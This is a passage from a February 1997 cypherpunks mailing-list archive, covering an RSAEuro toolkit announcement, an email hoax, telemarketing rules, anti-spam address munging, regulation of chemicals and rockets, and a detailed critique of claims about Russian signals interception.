Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RSAEuro General <rsaeuro@sourcery.demon.co.uk>
Date: Sun, 16 Feb 1997 14:41:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANNOUNCE:- RSAEuro
Message-ID: <199702162241.OAA04950@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial)
================================================================

What is RSAEuro?
----------------

RSAEuro is a cryptographic toolkit providing various functions
for the use of digital signatures, data encryption and supporting
areas (PEM encoding, random number generation etc).  To aid
compatibility with existing software, RSAEuro is call-compatible
with RSADSI's "RSAREF(tm)" toolkit. RSAEuro allows non-US
residents to make use of much of the cryptographic software
previously only (legally) available in the US.

RSAEuro contains support for the following:

*    RSA encryption, decryption and key generation.  Compatible
     with 'RSA Laboratories' Public-Key Cryptography Standard
     (PKCS) #1.

*    Generation and verification of message digests using MD2,
     MD4, MD5 and SHS (SHS currently not implemented in
     higher-level functions to maintain compatibility with
     PKCS).

*    DES encryption and decryption using CBC (1, 2 or 3 keys
     using Encrypt-Decrypt-Encrypt) and DESX(tm), RSADSI's
     secure DES enhancement. Blowfish and RRC.2 encryption and
     decryption using CBC (available in commercial versions
     only).

*    Diffie-Hellman key agreement as defined in PKCS #3.

*    PEM support support for RFC 1421 encoded ASCII data with
     all main functions.

*    Key routines implemented in assembler for speed (80386 and
     680x0 currently supported).

*    Much improved library documentation with code samples.

International Use
-----------------

IMPORTANT NOTICE:  Please do not distribute or use this software
in the US it is 'illegal' to use this toolkit in the US, as RSADSI and
Cylink hold patents relating to public-key cryptography.  If you are a
US resident, please use the RSAREF toolkit instead.

On The Web
----------

RSAEuro can now be found at

http://www.sourcery.demon.co.uk/RSAEuro.html

Author Details
--------------

With comments and suggestions, please address them to Stephen Kapp, at
'rsaeuro@sourcery.demon.co.uk', for documentation comments suggestions
please address them to Nick Barron, at 'nikb@sourcery.demon.co.uk'
----------------------------------------------------------------------------
RSAEURO:      rsaeuro@sourcery.demon.co.uk
RSAEURO Bugs: rsaeuro-bugs@sourcery.demon.co.uk
Tel:          +44 (0) 468 286034
Http:         http://www.sourcery.demon.co.uk/rsaann.html

RSAEURO - Copyright (c) J.S.A.Kapp 1994-1996.
----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Kuethe 1024 <ckuethe@gpu.srv.ualberta.ca>
Date: Sun, 16 Feb 1997 18:12:42 -0800 (PST)
To: Genocide <gen2600@aracnet.com>
Subject: Re: Questions about Naughty Robot (fwd)
Message-ID: <199702170212.SAA13047@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, Genocide wrote:

> 
> 	I got this message (on a system that I am webmaster on) regarding
> something that sounded so stupid it made me chuckle...Naughty Robot...I
> have enclosed the message below.  If any of you have any idea what this
> user is talking about, any info would be appreciated.
> 
> 	Personally it sounds like another "GoodTimes Virus" again...
> 
> Genocide
> Head of the Genocide2600 Group

It is another fake... this is what my ISP's sysadmin sent me about it...

----Begin Fwd Message----
Subject: 
          NaughtyRobot - DON'T PANIC! 
     Date: 
          Sun, 16 Feb 1997 15:10:38 -0700 
    From: 
          owner-all-users
Reply-To: 
          Zbigniew Indelak <zeebee@superiway.net>


You may receive (or may have already received) a message that looks like
if it was sent from your own account with the subject line "security
breached by NaughtyRobot".  In the message, you will most likely be told
that all of your personal information has been accessed by NaughtyRobot
and that you should contact the police, disconnect your phone line, cut
up your credit cards and report them as stolen, etc, etc.  DON'T PANIC!
It's just a bad joke someone is playing on you.  For more information on
this issue, read the article at

http://www.rah96.com/rah96/naughtyr.shtml

--
Zbigniew Indelak (ZeeBee)       | mailto:zeebee@superiway.net
Network Operations Manager      | http://www.superiway.net
Super i-Way Internet Services   | Tel: (403)413-9465


--
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
   'finger -l ckuethe@gpu.srv.ualberta.ca' for pgp keys
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sun, 16 Feb 1997 16:11:04 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: More on digital postage
Message-ID: <199702170011.QAA08626@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 at 23:30:17 Timothy C. May wrote:

> At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote:
> 
> >Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
> >out rules limiting the time of day, etc. for phone spam (voice or
> >fax).  Does anyone out there have the specifics of the CRTC regs?
> 
> "Spam" has rapidly become one of those overused, overloaded, meaningless
> words. Everything bad on the Net these days is labelled "spam."
> 
> For the phone example in Canada, just what is "spam"?
>
> -- Is it the semi-traditional definition of "spam," i.e., a phone call made
> to thousands of sites? (At the same time? Sequentially? How?)
> 
> -- Is it a robo-dialer, with no human at the other end?
> 
> -- Or is it merely an "unwanted phone call"?

I used "spam" to mean scripted commercial solicitations, by a human
or robot, based on a list of names and numbers.  I'm not sure whether
this is the same definition as in the legislation. 

> As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
> (Though obviously the courts and prisons are not about to be filled up with
> people who committed the heinous crime of making an unrequested phone call.)
> 
> The danger of all "junk mail" and "junk phone call" laws is that they give
> power to the government to decide on what is junk and what is not.

My understanding is that the legislation restricts commercial 
solicitations by phone to:

- certain times of day (not after 9 PM? unsure)
- one initial call, and no follow-ups if the person explicitly asks
the caller to never phone this number again (again, unsure of legal
details)

I don't consider this scenario overly restrictive, since it gives
_them_ a chance to sell their product, and _me_ a chance to have them
delete my name from their database.  Unfortunately, without some
formal means of redress, very few telemarketers seem to remember that
they are unlikely to find new customers if they call at 7 AM Saturday
for the third time this month.

What means of redress would you suggest, in the absence of
legislation / fines, to someone who has been called repeatedly by a
telemarketer?  This person is not a current customer and so cannot
withdraw his/her business.

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Date: Sat, 15 Feb 1997 22:58:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto code published in magazines
Message-ID: <199702160658.WAA27706@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm trying to find instances of crypto code published in computer magazines in 
the last few years.  I know of Blowfish in DDJ, are there cases of more 
mainstream computer mags like Byte publishing crypto code (I know Byte did DES 
in 1977, I'm hoping for something a bit more recent)?.  Please mail or cc 
replies directly to me, nntp.hks.net seems to have died :-(.
 
Peter.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sun, 16 Feb 1997 18:11:15 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: When and where?
Message-ID: <199702170211.SAA12998@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Friends:

Please post the date when this list will shift to Usenet if that is indeed to
happen. I have not been able to sort out the facts (?) from the speculation,
argument, and gas.

I have requested my ISP to add alt.cypherpunks to the mail server asap.

I don't want to miss a second of the resurrected (or is that born again?)
c'punks.

Thanks.

Alec
 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 16 Feb 1997 18:11:09 -0800 (PST)
To: camcc@abraxis.com
Subject: Re: When and where?
Message-ID: <199702170211.SAA12987@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

camcc@abraxis.com (Alec) writes:
> Please post the date when this list will shift to Usenet if that is indeed to
> happen. I have not been able to sort out the facts (?) from the speculation,
> argument, and gas.
> 
> I have requested my ISP to add alt.cypherpunks to the mail server asap.

I hope you misspelled "news server." alt.cypherpunks (and subgroups)
is a newsgroup.

> I don't want to miss a second of the resurrected (or is that born again?)
> c'punks.

You should join one of the distributed mailing lists (choose the list
admin you like/trust the most). There is supposed to be a gateway
between the mailing list and the newsgroup, but it is not up yet.

Here's the overview:
cypherpunks@toad.com is going away. In its place is a distributed
forum. This forum is currently made up of a network of mailing lists,
which send all their messages to each other. In the future, the
newsgroup alt.cypherpunks will be added to this network (posts to the
newsgroup go to the mailing lists, mail to the lists goes to the
newsgroup). The mailing lists will be faster than the newsgroup, the
newsgroup will probably let you use better filtering tools. Your
choice.

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

(Cool, "newsgroup" is the first word in four consecutive lines. I did
not do this on purpose, even.)




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 16 Feb 1997 21:41:12 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: The Science Generations, II
Message-ID: <199702170541.VAA21886@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just a short update to our discussions regarding the 'dumbing down' of America.

Although Gilbert appears to have gone out of the business I did find a few
chemistry sets at my local hobby store.  They were certainly a far cry from
the bunsen burner and lab glassware I grew up with, they all appear to use
micro amounts of reagent in pipette tubes.  I doubt they will generate the
excitement we experienced.

BTW, regarding the difficulty in obtaining chemical reagents (unless you're
in a qualified educational program or professionally employed at a large
industrial company), I came across a relatively new company targeting the
amateur scientist, Chemical Resale of Santa Barbara
<http://www.sb.net/wirehead>.  It carries only a limited selection and
prices seem very high (undoubtedly due to his small volume).

Regarding amateur experiments with 'real' rockets, the Fed have passed a
plethora of laws effectively resticting what non-governmental bodies may
investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
173.88. I guess I can't play with matches anymore.  Thank you Congress.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 16 Feb 1997 23:26:19 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: The Science Generations, II
Message-ID: <199702170726.XAA26470@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 8:58 PM -0800 2/16/97, Steve Schear wrote:

>BTW, regarding the difficulty in obtaining chemical reagents (unless you're
>in a qualified educational program or professionally employed at a large
>industrial company), I came across a relatively new company targeting the
>amateur scientist, Chemical Resale of Santa Barbara
><http://www.sb.net/wirehead>.  It carries only a limited selection and
>prices seem very high (undoubtedly due to his small volume).

And as part of the "War on (Some) Drugs," many chemical purchases now
require licenses of various sorts. As a growing number of chemicals are
classified as "precursors" to a growing medicine cabinet full of
mind-altering or reality-enhancing recreational substances, this "chemical
escrow"  is a step in the direction of outlawing all cash commerce.

Some legal scholars are claiming that there is no provision in the
Constitution guaranteeing anonymity of purchases, and, indeed, a growing
number of purchases can no longer be anonymous--guns, explosives, chemicals
of various sorts, etc. How long before _all_ transactions must be recorded,
True Names revealed, etc.?

(I believe this interpretation is incorrect. I believe "due process" means
that a court order, or specific enabling legislation (as for guns) must be
produced. If Alice sells something to Bob, having the government as a third
party is, I think, a violation of the Fourth. However, the "power to
regulate commerce" could be the root password, as national security often
is.)

I'm thinking about these issues because I'm working on a position paper for
Michael Froomkin's session at CFP. (Froomkin is one of the legal scholars
aruing that transactions may have no constitutional expectation of privacy.)

>Regarding amateur experiments with 'real' rockets, the Fed have passed a
>plethora of laws effectively resticting what non-governmental bodies may
>investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
>173.88. I guess I can't play with matches anymore.  Thank you Congress.

Nor can you play with knives, by the way. I read rec.knives, and the
explosion of laws about how and where knives may be carried, used, owned,
bought, etc., and what blade shapes are allowed, what lengths are felonies
to possess, etc., is truly mind-numbing. I concluded that I'm committing
misdemeanors in nearly all counties I enter in California, and felonies in
some. All for possessing and/or carrying what I bought legally just a few
years ago.

This is the morass of laws into which we have sunk.

I suspect similar laws--regulating commerce, protecting children, disarming
bad guys, etc.--will be used soon enough on crypto.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Tue, 18 Feb 1997 17:11:32 -0800 (PST)
To: hjk <hjk@ddorf.rhein-ruhr.de>
Subject: Re: MagicMoney
Message-ID: <199702190111.RAA14461@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, hjk wrote:

> I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl).
> It is just the code (compiling without error), but there is no README or
> documentation at all.Can someone give me a hint,what to do with this
> package? Is there a documentation somesite?

All the documentation that came with my copy is at 

	http://www.unicorn.com/pgp/mm-readme.html

That was enough for me to set it up and play with it a couple of years 
ago.

	Mark "Not Pr0duct Cypher" Grant

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sun, 16 Feb 1997 21:27:59 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702170527.VAA21254@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 16 Feb 1997, camcc@abraxis.com (Alec) wrote:

> :> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> :> in the from: header. Sure, somebody out there is going to be unhappy with
> :> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> :> are bouncing mail to the admin of the site instead of to me.
> :
> For the less computer articulate (me), please rephrase what you just
> said more in the form of basic instructions.

For starters, root is the all-powerful system administrator account on
UNIX machines, and 127.0.0.1 is the "loopback" or "localhost" IP address,
generally used for testing.  A connection to loopback amounts to a
software connection back to the originating host, and e-mail sent to
loopback won't even go out the Ethernet card / modem / whatever.

So, if I put root@127.0.0.1 in the "From:" field of my news reader's
configuration, all of my posts will give this as my e-mail address. 
Depending on the news reader, I may have to set options like "override
default domain name", which would override my service provider's name.

Since many commercial mailer programs ("SpamBots") scan Usenet news posts
for potential target e-mail addresses, these programs will pick up my
phony e-mail address and send their junk to their own system administrator
instead of me :-)

The smarter programs will also scan the bottom of posts for e-mail
addresses in people's signatures (or .sig files).  The "spam-busted"
address described above could be anything that is not a verbatim copy of
my e-mail address, for example:

c.y.n.t.h.b@i.o.s.p.h.e.r.e.dot.n.e.t
cynthb[at]iosphere.net
cynthb@[NOSPAM].iosphere.net

Any reasonably computer-literate human will be able to figure out what my
real address is, but a cut-and-paste by a software robot won't work.

Hope this helps,

Cynthia

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===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Sun, 16 Feb 1997 21:41:25 -0800 (PST)
To: peanderson@wn.net
Subject: Russian Sigint
Message-ID: <199702170541.VAA21894@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> I found this on The New American web page. ?
> 
> 
> GRU Snooping Continues. The interception, taping, and publication of a
> conference call between Newt Gingrich and other congressional leaders
> demonstrates the susceptibility of microwave-transmitted electronic
> communications to eavesdropping. A growing number of intracity phone calls,
> e-mail, and faxes, as well as nearly all long-distance calls, are carried via
> microwave. But it's not just itinerant Democratic Party activists with police
> scanners who can listen in on microwave communications.
> 
	This is complete horse pucky.   Microwave is less and less and
less used for long distance communications in the US.  Very little
traffic now flows over microwave links - fiber has so much higher
capacity and better data error characteristics that it has nearly
completely taken over long distance telephone and data communications. 
A typical microwave link can carry 45 or maybe 130 megabits per second
maximum per rf channel and maybe has 6 rf channels in use at a time
maximum whilst current fibers carry 1.5 Gigibits per fiber and can be
upgraded to 3.0 Gigabits easily and way more than 10 Gbs with current
WDM technology. Typical installed fiber routes have around 30 or more
fibers just because it is as easy to install that many as one.  

	The remaining active microwave links are primarily used as
backup for fiber routes and may not be carrying live traffic at all. 
Virtually every route that used to be microwave has now had one or more
fiber routes installed to replace it and if it hasn't they are planned
or being installed now.  At the best there are a few remote places where
installing fiber is impractical that still communicate with the world on
microwave links and there are a few microwave systems still in service
to carry certain vital national survival and security traffic where they
provide redundancy.

	Also, essentially all current common carrier microwave is now
digital rather than fm-fdm-ssb.  These high capacity and bit rate 64-QAM
or 256-QAM signals are significantly harder to intercept and demodulate
and demultiplex than the FM signals used until the late 80's were.  This
is especially true of reception from sites that see only marginal
scattered signals rather than the direct beam, as digital radio tends to
not work at all with marginal signals rather than being just noisy.

	I think that probably less than 1% of US long distance public
telephone and data communications currently travel by microwave at any
point in their journey compared to more than 68% at the peak  of
microwave usage in the early 1980's.  And this figure is dropping
steadily over time as more and more fiber is put in service.

> As the Center for Security Policy (CSP) points out, the GRU _ the Main
> Intelligence Directorate of the General Staff of the Russian Armed Forces _
> maintains signals intelligence ("sigint") facilities in Lourdes, Cuba, and
> Cam Ranh
> Bay in Vietnam which are capable of intercepting nearly all microwaved
> communication across the continental United States as well as the Atlantic and
> Pacific.

	This is not entirely true.  Intercepting microwave signals from
over the horizon is not possible except under truly extraordinary
propagation conditions and then only for brief periods of time with
gigantic antennas and from relatively nearby places.  And the  resultant
scattered signal is of very poor quality and getting usable high bit
rate data out of such scatter signals,  as would be required to
intercept common carrier traffic, is not easily possible.

	At the very best the Lourdes facility might possibly be able to
see occasional microwave scatter traffic from southern Florida and the
Carribean on very good days.  This is hardly traffic from the entire
continental US and one can be very sure that the NSA and other agencies
responsible for thinking about US communications security have long ago
arranged in cooperation with the long distance carriers to ensure that
nothing of any great use was showing up.

	There are two catagories of microwave traffic those facilities
can intercept - domestic and international satellite traffic from US
satellites with footprints that cover the Carribean and whatever radio
traffic is intercepted by Russian low orbit ferret satellites as they
pass over North America and by high orbit monitoring satellites parked
over the western hemisphere.

	Very little public point to point telephone and data traffic
between points in the US is currently transmitted via satellite.  Fiber
is so much cheaper and better in quality that the carriers gave up
satellite transmission of domestic traffic some years ago.  There are
some compelling reasons for this - the long 240 ms delay in transmitting
traffic via geosynchronous satellite is very noticable to many humans in
the give and take of conversations, and without special protocol
provisions many data communications systems give horrible throughput
over links with that long a delay as well as giving unnacceptably long
echo delays in interactive applications.  And satellite bandwidths are
even less than terrestrial microwave bandwidths and compared to the vast
amount of fiber now in service are just a tiny fraction of the total.

	Domestic communications satellites are primarily used for point
to multipoint traffic such as credit card authorization systems for gas
stations and stores and distribution of video to TV stations and cable 
companies, and broadcasts of data to large numbers of receivers.  It is
rarely cheaper and more cost effective to put point to point traffic on
communications satellites.  And most of what is there is traffic sent by
private users of one sort or another such as large companies and
government agencies - much of which is securely encrypted if sensitive.
And that which is not encrypted is readily accessible to anyone with the
right commonly available equipment and a vanilla satellite dish of the
sort there are literally millions and millions of scattered throughout
the US, Canada and Mexico - the potential threat from this source dwarfs
what the Russians might do with the information (and is readily
controlled by link encryption).

	Even international communications from the US are less and less
routed via satellite as high capacity fiber trans-ocean cables are
installed.  I have seen numbers on the order of less than 10% satellite
transmission of international traffic and as new optical amplifier
cables are installed (which one can assume the UKUSA partners such as
the US NSA get the entire bitstream from) this number is also plunging.
And most international satellite communications can be monitored from
the other end and do not have to be monitored from near the US.

	As a point of fact I would be more concerned that Russian
submarines have tapped the trans-Atlantic and trans-Pacific cables
somewhere than that the Russians pick up satellite communications. One
hopes that the bitstreams on those cables are really securely link
encrypted - doing so would seem to be a no-brainer - but I have never
seen any reference to this being the practice.

	What capabilities Russian sigint satellites still have in the
post USSR era of economic collapse where Russia has not been able to
launch a single imaging spy satellite for several months and has no
usable ones in orbit, according to a recent NY Times story, is not
clear.  Russian satellites have generally had a much shorter useful life
in orbit than US satellites do and Russia and the Russian space program
has been pretty poor and disorganized for the last several years.  At
best such sigint satellites could conceivably be used  to monitor some
few domestic microwave links that happened to put a usable signal in the
direction of the satellite and were far enough away from other
transmitters on the same frequency to be separated by antenna
directivity enough to stand out.   While a satellite in geosynchronous
orbit could see all of North America, it is pretty certain that it could
see only a rather small fraction of modern digital microwave links well
enough to recover traffic from them.  And it is absolutely certain that
the capacity of the satellite to intercept and relay traffic is only a
few microwave links simultaneously at most.  This is hardly everything
or more than a small piece in fact.

	It has been reported that Russian sigint satellites use laser
optical links back to Lourdes rather than the Ka and higher frequency
band microwave links that US equivalents have used to pass the signals
they intercept, but one suspects that the relevant US agencies have
probably used whatever means were necessary to find these links and
determine what US traffic is being monitored and ensure that that
anything truly important was routed by fiber instead.

	In any case, the value of Lourdes is primarily as a base for
intercepting US satellite communications and as a conveniant place to
put a ground station for sigint and ferret satellites where  satellite
to satellite relay is not required to get the signals back to a ground
station.  If Lourdes were shut down most of the sigint functions of these
satellites could be operated from Russia using satellite to satellite
communications of one sort or another. The only major loss would be the
ability to intercept certain domestic communications satellite signals
which use focused beams and not readily intercepted from other places
where the Russians may have space to put antennas.  And one suspects
that the Russians could probably do most of this interception from
covert sites under cover as legitimate satellite installations in the US
and Canada or other Caribbean or Central American countries.

	In any case it is certainly not true that Lourdes can intercept
a significant fraction of US telecommunications simply because most US
telecommunications do not any longer travel via microwave radio. 
Lourdes undoubtably can intercept enough useful stuff to justify
continuing its operation, but this is partly because of blind US
government policy on encryption rather than anything else.  This
especially applies to cellular communications which can be intercepted
from satellites (and of course by anyone with a scanner or modified
cellphone as well).  How well even satellites with large 100 or 200 foot
dishes do at intercepting the dense network of US and other cellular
systems with hundreds of transmitters going at once on the same
frequency in the area of the footprint of the satellite receive antenna
at 800 mhz I do not know.  And tracking and identifying calls of
interest when the satellite can intercept only some cells on some
cellsites reliably must be fairly hard. 

	In any event the US operates several sigint satellites of much
more advanced design and capability than Russia and has for many more
years than the Russians have.   And it is widely reported that the US
has worldwide ground monitoring stations listening to essentially all
communications satellites in the Clarke orbit and probably any that
aren't that could possibly carry useful traffic.  Our capabilities and
technology and expenditure in this area is well beyond anyone elses. 
	
 Furthermore, according to the CSP, "it is believed that both the
> Russians
> and the Cubans are developing capabilities at Lourdes to conduct information
> warfare (IW). Such a capability would permit these facilities to be employed not
> only to intercept information [but also to] make it possible for Moscow or
> Havana
> to manipulate telecommunicated information so as to deny the American people
> and their government vital services or otherwise work against U.S. interests."
> 

	There may be some capability to jam US commercial communications
satellites which for the most part have not any kind of protection
against such jamming.  Vital US military communications satellites do.
Successfully conducting man-in-the-middle attacks on terrestrial
microwave communications from Clarke orbit is difficult at the very very
best and probably essentially impossible simply because of the 240 ms
delay involved and the enormous difficulty of sucessfully interjecting
the right kind of signal into a microwave link that uses highly
directional antennas and modulation techniques that are amplitude
sensitive such as QAM.   And one can certainly assume that the US is
carefully watching Russian sigint satellites at all times and would
certainly know immediately if they started radiating enough signal to
disrupt or spoof US communications systems.

	Of course all sigint yields information such as passwords and
encryption keys and spectral signatures of speakers and call addressing
and routing information (traffic analysis) that can be used to good
advantage in later active man-in-the-middle attacks.  And one can
certainly assume that the Russians and many other governments including
the US have spent considerable effort developing active penetration and
disruption capablity.  It has even been reported that the US has been
using this to force network traffic to be routed in Europe via 
facilities the US can monitor.


> According to former GRU Colonel Stanislav Lunev, "The strategic significance of
> the Lourdes facility has grown dramatically since the secret order from Russian
> Federation President [Boris Yeltsin] of 7 February 1996 demanding that the
> Russian intelligence community step up the theft of American and other Western
> economic and trade secrets. It currently represents a very formidable and
> ominous
> threat to U.S. national security as well as the American economy and
> infrastructure."
> 
> Yet the Clinton Administration insists that it is in America's interest to
> allow the
> GRU to continue its eavesdropping on the U.S. In congressional testimony
> delivered on March 16, 1995, Assistant Secretary of State for Inter-American
> Affairs Alexander Watson asserted that pressuring Russia to discontinue sigint
> activities in Cuba "could limit our ability to promote reform and stability
> in Russia"
> as it could "be seen by the Russians as interfering with the exercise of
> their right
> under the START Treaty to monitor compliance with the agreement...."
> 


	And of course if we pressure them and other governments to
abandon sigint operations they can and will start to do the same to us. 
And ours are greater in magnitude and productivity than theirs.


> As with so many other issues, the Clintonites and the Soviets are reading
> from the
> same page regarding the Cuban sigint facility. Izvestia reported last
> November 30th
> that the U.S. "does not object in principle to the continuing existence of the
> electronic center in Cuba...."i
> 

	One can make the argument that sigint for national security
purposes is stabilizing and not altogether a bad thing.  Many of us who
are at least dimly aware of the technology fear its potential in the
hands of a future fascist police state greatly, but one suspects that
the Russians do not use the information effectively to damage US
interests.  After all we are the top economic and  military power in the
world and they are nearly in third world status economicly and have a
rapidly deteriorating military.  Perhaps the greatest risk from their
Soviet era sigint capabilities is that information will leak from
starved intelligence agency employees  and officials to the Russian
criminal mafias and benefit organized crime. There is certainly
potential there for mischief, especially considering that a good amount
of criminally useful information flows unencrypted over radio
communications in the US.

	If I was in the US government and thinking about the threat of
the Russian sigint capability I would be pushing for more use of
encryption in domestic commercial communications and especially such
things as cellphones and wireless data systems.  Universal link
encryption with secure ciphers of such radio based communications
systems  should not impact lawful interception of communications one
iota since the  government can always request wiretaps using their
spiffy new digital telephony tapping capablity.  The carriers would
always have access to the unencrypted traffic after all and could
forward it to the government. And many of us think that end-to-end
encryption of traffic is a better choice in the long run than no
encryption, even if it locks out the government (and everyone else) from
easily, and in large quantities, fishing through traffic.  One supposes
that the government will always be able to obtain most traffic it wants
badly enough, through cryptanalysis, TEMPEST, rubber hose cryptanalysis,
black bag jobs, bugging, and the perfidy of informants of one sort or
another, and of course most of all - carelessness and ignorance about
INFOSEC and bugs and configuration problems in software.

	But I would also be mindful that the Russians have decreasing
intelligence capability to monitor US intentions and perhaps allowing
them some access will keep them from developing paraniod fears of US
intentions.  The Russians probably still have a few working ICBMs after
all...

	In any case enough of these speculations.  Perhaps a
semi-retired telecommunications/computer engineer such as myself with
access only to public information gets the picture completely wrong. 
And perhaps not. I do know it is definately and without a doubt not true
that more and more domestic communications flow over microwave point to
point radio, however.  And I think that anyone propagating that myth
deserves a correction.

							Dave Emery
							die@die.com
							Weston, Mass.

						







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Sun, 16 Feb 1997 21:41:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Modified Clipper chip - HA! (fwd)
Message-ID: <199702170541.VAA21887@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




>For all of you who didn't see the last X-Files ...
>Mulder made a visit to The Lone Gunman about breaking into some
>impenetrable system.
>Byers points out that "Yeah, that system is pretty hard to get into."
>Mulder then inquires "well how did you guys get in?".
>Byers replies cooly: "We used a modified Clipper chip we bought back from
>the Chinese."
>I didn't stop laughing for 5 minutes ... :)
>_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________


I don't know whether this guy knows it or not but mainland China buys huge
quanities of DoD surplus scrap electronics. The material is required to be
mutilated but stuff slips through. I have seen it myself. The little bit on
X-files noted above is not as far fetched as one might believe.

..Jim

<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
<:>       Jim Conrad - Ocean View Communications - jjc@infi.net      <:>
<:>  757-490-8127 Office  -  757-587-8251 Fax - 757-473-6740 Pager   <:>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sun, 16 Feb 1997 23:26:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Science Generations, II
Message-ID: <199702170726.XAA26462@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: azur@netcom.com (Steve Schear)

>Regarding amateur experiments with 'real' rockets, the Fed have passed a
>plethora of laws effectively resticting what non-governmental bodies may
>investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
>173.88. I guess I can't play with matches anymore.  Thank you Congress.

	What precisely do those laws say? As a scientist, I have somewhat
of an interest in such subjects, and I don't have very good access to
legal databases. (For instance, I tried the Library of Congress search
system for laws passed since 1973... and the thing's indexed by _title_
of legislation, not the more standard designation you gave...).
	Thanks,
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Campbell <wcampbel@peganet.com>
Date: Mon, 17 Feb 1997 08:56:13 -0800 (PST)
To: cypherpunks@toad.com
